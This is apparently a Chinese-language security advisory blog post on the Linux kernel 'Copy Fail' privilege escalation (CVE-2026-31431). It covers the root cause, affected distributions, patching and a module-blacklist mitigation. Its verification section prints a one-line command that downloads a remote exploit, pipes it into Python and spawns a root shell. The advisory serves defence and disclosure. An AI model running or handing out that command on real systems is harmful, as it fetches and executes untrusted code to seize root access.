【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431:一个732字节的Python脚本,一键获取root权限

摘要:2026年4月29日,安全研究人员公开披露了Linux内核中存在近十年的高危本地提权漏洞“Copy Fail”(CVE-2026-31431)。该漏洞影响自2017年以来所有主流Linux发行版,攻击者仅凭一个732字节的Python脚本即可从普通用户权限直接提升至root权限,并可能导致容器逃逸、云环境租户隔离被突破等严重后果。


一、漏洞概述

项目
内容
漏洞编号
CVE-2026-31431
漏洞名称
Copy Fail
发现者
Theori公司的Xint Code团队(研究员Taeyang Lee主导)
公开日期
2026年4月29日
危害等级
高危(本地提权,且可用于容器逃逸)
根因提交
2017年的优化提交(commit 72548b093ee3)引入
修复提交
a664bf3d603d
漏洞类型
内核crypto子系统逻辑缺陷(authencesn模板内的4字节page cache写入)

一句话描述:漏洞位于Linux内核的algif_aead密码算法接口中,源于2017年引入的一个错误“原地操作”优化。该缺陷允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存(page cache)写入4个可控字节,进而篡改setuid二进制文件(如/usr/bin/su),直接获取root权限。


二、漏洞原理(白话解读)

2.1 涉及的内核“机关”

  • AF_ALG:Linux内核提供的用户态密码运算接口(socket类型),普通用户可直接调用。

  • AEAD(认证加密):一种带认证的加解密模式,例如AES-GCM。

  • authencesn模板:一种特定AEAD实现,在执行解密时会向目标缓冲区写入数据。

  • splice()系统调用:允许在两个文件描述符之间“零拷贝”传输数据,可用于将文件page cache与套接字缓冲区关联。

2.2 核心逻辑缺陷

2017年的优化(commit 72548b093ee3)试图让AEAD加解密操作直接在原地(in-place)完成,以减少内存拷贝。然而在解密路径中,系统错误地将来源不同的数据映射(TX与RX缓冲区)当作相同缓冲区处理,导致:

  1. 解密时将文件page cache中的页面链接到了可写的目标scatterlist中。

  2. authencesn解密在验证认证标签(tag)前,便向该页面写入4个字节。

由此,攻击者获得了一个完全可控的、直写文件page cache的4字节写入原语

2.3 为何如此危险?

  • 无需竞态条件、无需内核特定偏移、无需重试——攻击路线是直线型的。

  • 不标记脏页:写入绕过正常的VFS写路径,被篡改的页面永远不会被内核标记为脏页,因此文件完整性工具(检查磁盘上的签名)根本发现不了。

  • 系统范围可见:page cache是全局共享的,一旦某个文件在内存中的页面被篡改,所有进程读取该文件时看到的都是被篡改的版本。

  • 跨容器传染:容器与宿主机共享同一个页缓存,因此攻击可从容器内发起并影响宿主机。


三、漏洞危害

场景
危害描述
风险等级
多用户共享主机(开发机、跳板机、编译服务器等)
任何普通用户均可获取root权限,完全控制主机
🔴 高危
Kubernetes / 容器集群
容器内低权限进程可篡改宿主机页面缓存,实现容器逃逸并控制宿主机节点
🔴 高危
CI/CD 流水线(GitHub Actions自托管Runner、GitLab Runner、Jenkins Agent等)
执行未经验证的PR代码即可让Runner主机被root
🔴 高危
云服务(notebook托管、沙箱、Serverless等)
租户代码可突破隔离,跨租户访问宿主机
🔴 高危
标准单租户服务器
需配合RCE等漏洞链式利用,但一旦获得低权限用户后即可提权
🟡 中等
个人桌面/笔记本
本地任意代码执行可轻松获取root,但远程利用需要前置条件
🟡 较低

综合来看,此漏洞对共享内核环境(多租户、容器、CI/CD)影响尤为突出。


四、受影响范围

所有2017年至补丁发布前构建的Linux内核均受影响——覆盖绝大多数主流发行版。

4.1 已验证受影响的发行版

确认受影响发行版(实测)
内核版本示例
Ubuntu 24.04 LTS
6.17.0-1007-aws
Amazon Linux 2023
6.18.8-9.213.amzn2023
RHEL 14.3
6.12.0-124.45.1.el10_1
SUSE 16
6.12.0-160000.9-default

4.2 理论受影响的发行版

由于漏洞源于内核主线代码,故所有使用受影响内核的发行版均无法幸免:

  • Debian

  • Arch Linux

  • Fedora

  • Rocky Linux

  • AlmaLinux

  • Oracle Linux

  • 以及大量嵌入式/定制系统

4.3 受影响的内核版本(官方)

  • 4.14 至未修复版本之间

  • 不受影响版本:6.18.22+、6.19.12+、7.0+

请注意:发行版的更新策略各有不同,即使上游主线已修复,部分发行版可能尚未推送补丁。


五、修复建议

5.1 立即更新

首选方案:将内核更新至包含commit a664bf3d603d 的版本。

  • 对于Ubuntu/Debian:关注官方安全公告,尽快安装linux-image相关更新。

  • 对于RHEL/CentOS/Rocky/Alma:关注Red Hat及衍生版的安全更新,RHEL 10、8、9的修复进度目前仍为“Fix deferred”。

  • 对于Amazon Linux:密切关注AWS安全公告,当前修复“pending”。

5.2 临时缓解措施(无法立即更新时)

若业务无法立即重启升级内核,可临时禁用algif_aead内核模块阻止漏洞利用:

bash

# 卸载模块(若当前未使用AEAD套接字)sudo rmmod algif_aead# 或通过modprobe黑名单永久禁用echo"blacklist algif_aead"|sudotee /etc/modprobe.d/blacklist-algif_aead.conf

 

警告:此操作会禁用用户态AEAD加解密接口,可能影响依赖该接口的应用程序(如某些VPN、TLS库)。

5.3 验证系统是否受影响

  • 检查模块是否加载

    bash

    lsmod |grep algif_aead

     

    若有输出,说明接口已暴露。

  • 验证POC(请仅在获得授权的测试环境进行):

    bash

    curl https://copy.fail/exp | python3 &&su

     

    成功则立即获得root shell。


六、安全建议(针对不同角色)

角色
建议
系统管理员
立即评估受影响资产,优先修复多用户/容器/CI/CD环境。
K8s/云平台运维
尽快修补宿主机内核,检查所有节点;同时加固容器内权限控制(限制AF_ALG的使用)。
应用开发者
避免在低权限用户环境下执行不可信代码;CI/CD Runner应使用临时/沙箱化环境。
安全厂商
更新IDS/IPS规则,检测对AF_ALG的异常调用及splice()与AEAD套接字的组合使用。

七、简要总结

  • 一个732字节的Python脚本即可拿下root,不需要任何内核调试功能、无需网络访问、无竞态条件。

  • 漏洞藏身于内核crypto子系统近十年(2017年至2026年),影响面极广。

  • 真正的威胁在于容器逃逸:攻击者可从一个被入侵的容器直接跳到宿主机,打破所有租户隔离。

  • 修复优先级极高,尤其在共享内核场景(云、K8s、CI/CD)必须立即行动。

     

     

    演示代码:https://github.com/theori-io/copy-fail-CVE-2026-31431

     

本文仅作安全预警与防御指导,请勿在未授权系统上测试漏洞利用代码。建议所有Linux用户、企业IT部门和安全团队立即评估自身环境并采取修复措施。

 

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容